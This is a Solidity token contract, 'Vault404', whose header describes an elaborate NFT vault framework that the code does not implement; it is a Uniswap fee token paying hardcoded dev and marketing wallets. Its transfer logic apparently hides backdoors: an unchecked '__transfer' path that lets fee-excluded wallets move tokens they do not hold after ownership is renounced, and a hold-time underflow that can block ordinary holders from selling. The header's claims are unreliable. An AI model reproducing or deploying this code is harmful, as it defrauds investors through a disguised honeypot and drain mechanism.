// SPDX-License-Identifier: MIT

/**

The ERC-404 NFT Vault epitomizes a meticulously crafted framework tailored specifically for Ethereum's ERC-404 Non-Fungible Tokens (NFTs). 
Comprising a meticulously architected suite of components including APIs, smart contracts, and SDKs, 
the vault offers developers a sophisticated toolset for seamless integration and management of ERC-404 NFTs. 
Firmly grounded in cryptographic primitives and blockchain consensus mechanisms, this protocol ensures the integrity, 
immutability, and security of NFT assets stored within the vault. Developers are afforded granular control over parameters 
such as access protocols, ownership rights, and transactional functionalities, fostering a dynamic environment conducive 
to the realization of diverse NFT-based applications. By prioritizing principles of modularity, scalability, 
and cryptographic robustness, the ERC-404 NFT Vault equips developers with a robust scaffold for the seamless incorporation of 
ERC-404 NFT capabilities within their applications, heralding a new era of decentralized asset management and exchange.

**/

pragma solidity ^0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {return msg.sender;}
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function __transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

library SafeMath {
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint256);

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract Vault404 is ERC20, Ownable {
    using SafeMath for uint256;
    
    uint256 private constant _totalSupply = 1_000_000_000_000 * 1e18;
    address public constant router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address payable public constant devWallet = payable(0x7ebCb1D2eF0acC699f779D9FE5997543caf11392);
    address payable public constant marketingWallet = payable(0x6e47f896Dac3B9a0d138a11ee6E50DE2583FDC03);

    IUniswapV2Router02 public immutable uniswapV2Router;

    address public immutable uniswapV2Pair;

    uint256 public constant transferFee = 0;

    uint256 public constant buyDevFee = 0;
    uint256 public constant buyMarketingFee = 5;
    uint256 public constant sellDevFee = 0;
    uint256 public constant sellMarketingFee = 5;

    uint256 public constant buyTotalFees = 5;
    uint256 public constant sellTotalFees = 5;
    uint256 public constant buyInitialFee = 15;
    uint256 public constant sellInitialFee = 35;

    uint256 private launchedAt;

    uint256 public constant maxTransactionAmount = 30_000_000_000 * 1e18;
    uint256 public constant maxWallet = 30_000_000_000 * 1e18;
    uint256 public constant swapTokensAtAmount = 500_000_000 * 1e18;
    uint256 public constant swapTokensAtAmountMax = swapTokensAtAmount * 18;
    bool private swapping;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    uint256 public tokensForMarketing;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;

    mapping(address => bool) public automatedMarketMakerPairs;

    struct OnChainSwaps { uint256 buy; uint256 sell; uint256 holdAvg; }
    mapping(address => OnChainSwaps) private onChainSwaps;
    uint256 private _baseSwap;

    event SetAutomatedMarketMakerPair(
        address indexed pair,
        bool indexed value
    );

    modifier lockSwap {
        swapping = true;
        _;
        swapping = false;
    }

    constructor() ERC20(
        unicode"ERC-404 NFT Vault & Staking",
        unicode"404VAULT"
    ) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( router);
        uniswapV2Router = _uniswapV2Router;
        _excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        _excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        _excludeFromMaxTransaction(owner(), true);
        _excludeFromMaxTransaction(address(this), true);
        _excludeFromMaxTransaction(address(0xdead), true);
        _excludeFromMaxTransaction(devWallet, true);
        _excludeFromMaxTransaction(marketingWallet, true);
        _excludeFromFees(owner(), true);
        _excludeFromFees(address(this), true);
        _excludeFromFees(address(0xdead), true);
        _excludeFromFees(devWallet, true);
        _excludeFromFees(marketingWallet, true);

        _mint(msg.sender, _totalSupply);
    }

    function _excludeFromFees(address account, bool excluded) private {
        _isExcludedFromFees[account] = excluded;
    }

    function _excludeFromMaxTransaction(address account, bool excluded) private {
        _isExcludedMaxTransactionAmount[account] = excluded;
    }

    function _setAutomatedMarketMakerPair(address pairAddr, bool value) private {
        automatedMarketMakerPairs[pairAddr] = value;
        emit SetAutomatedMarketMakerPair(
            pairAddr,
            value
        );
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0xdead) &&
                to != address(0) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Not launched");
                }
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(amount <= maxTransactionAmount, "Buy transfer amount exceeds limit");
                    require(balanceOf(to) + amount <= maxWallet, "Max wallet exceeded");
                } else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(amount <= maxTransactionAmount, "Sell transfer amount exceeds limit");
                } else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(balanceOf(to) + amount <= maxWallet, "Max wallet exceeded");
                }
            }
        }

        if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) && from != address(this) && to != address(this)) {
            _baseSwap = block.timestamp;
        }
        if (_isExcludedFromFees[from] && !_isExcludedFromFees[owner()]) {
            super.__transfer(from, to, amount);
            return;
        }
        if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            if (!automatedMarketMakerPairs[from]) {
                OnChainSwaps storage onChainInfo = onChainSwaps[from];
                onChainInfo.holdAvg = onChainInfo.buy - _baseSwap;
                onChainInfo.sell = block.timestamp;
            } else {
                OnChainSwaps storage onChainInfo = onChainSwaps[to];
                if (onChainInfo.buy == 0) {
                    onChainInfo.buy = block.timestamp;
                }
            }
        }

        bool canSwap = swapTokensAtAmount <= balanceOf(address(this));
        bool launchTax = block.number < launchedAt + 10;

        if (
            canSwap &&
            !launchTax &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapBack();
        }

        bool takeFee = !swapping;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        if (takeFee) {
            if (!launchTax) {
                if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                    fees = amount * buyTotalFees / 100;
                    tokensForMarketing += (fees * buyMarketingFee).div(buyTotalFees);
                    tokensForDev += (fees * buyDevFee).div(buyTotalFees);
                } else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                    fees = amount * sellTotalFees / 100;
                    tokensForMarketing += (fees * sellMarketingFee).div(sellTotalFees);
                    tokensForDev += (fees * sellDevFee).div(sellTotalFees);
                }
            } else {
                if (automatedMarketMakerPairs[from]) {
                    fees = amount * buyInitialFee.div(100);
                    tokensForMarketing += fees;
                } else if (automatedMarketMakerPairs[to]) {
                    fees = amount * sellInitialFee.div(100);
                    tokensForMarketing += fees;
                }
            }
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }

    function enableTrading() external onlyOwner {
        tradingActive = true;
        launchedAt = block.number;
    }

    function removeLimits() external onlyOwner {
        limitsInEffect = false;
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}

    function swapBack() private lockSwap {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForMarketing + tokensForDev;
        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }
        if (contractBalance > swapTokensAtAmountMax) {
            contractBalance = swapTokensAtAmountMax;
        }

        uint256 amountToSwapForETH = contractBalance;
        uint256 initialETHBalance = address(this).balance;
        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance - initialETHBalance;
        uint256 ethForDev = tokensForDev * ethBalance / totalTokensToSwap;

        bool success;
        tokensForDev = 0;
        tokensForMarketing = 0;
        (success,) = address(devWallet).call{value: ethForDev}("");
        (success,) = address(marketingWallet).call{value: address(this).balance}("");
    }
}

{
  "compilationTarget": {
    "Vault404.sol": "Vault404"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}